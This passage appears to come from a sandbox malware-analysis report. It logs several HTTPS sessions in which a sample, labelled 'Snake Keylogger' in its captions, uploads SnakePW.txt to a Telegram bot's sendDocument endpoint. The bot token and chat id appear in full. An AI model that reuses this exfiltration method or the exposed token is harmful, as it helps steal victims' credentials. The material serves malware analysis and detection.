2022-06-26 07:34:26 UTC	423	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:26 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:26 UTC	423	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67032,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228866,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.5	50163	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:26 UTC	423	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575714eec568 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:26 UTC	424	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 34 65 65 63 35 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575714eec568Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:27 UTC	424	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:27 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:27 UTC	425	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67033,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228867,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.5	50164	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:27 UTC	425	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757152338e1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:27 UTC	425	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 35 32 33 33 38 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757152338e1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:27 UTC	426	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:27 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:27 UTC	426	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67034,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228867,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.5	50165	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:27 UTC	427	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757156135bb Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:27 UTC	427	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 35 36 31 33 35 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757156135bbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:27 UTC	428	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:27 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:27 UTC	428	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67036,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228867,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.5	50166	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:28 UTC	428	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757159cd6bc Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:28 UTC	429	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 35 39 63 64 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757159cd6bcContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:28 UTC	429	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:28 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:28 UTC	430	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67037,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228868,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.5	50167	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:28 UTC	430	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575715e1f502 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:28 UTC	430	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 35 65 31 66 35 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575715e1f502Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:28 UTC	431	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:28 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:28 UTC	431	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67038,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228868,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.5	50168	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:28 UTC	432	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757161ff376 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:28 UTC	432	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 36 31 66 66 33 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757161ff376Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:29 UTC	433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:29 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:29 UTC	433	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67039,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228869,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.5	50169	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:29 UTC	434	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757166515a2 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:29 UTC	434	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 36 36 35 31 35 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757166515a2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:29 UTC	434	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:29 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:29 UTC	435	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 34 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67041,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228869,"document":{"file_

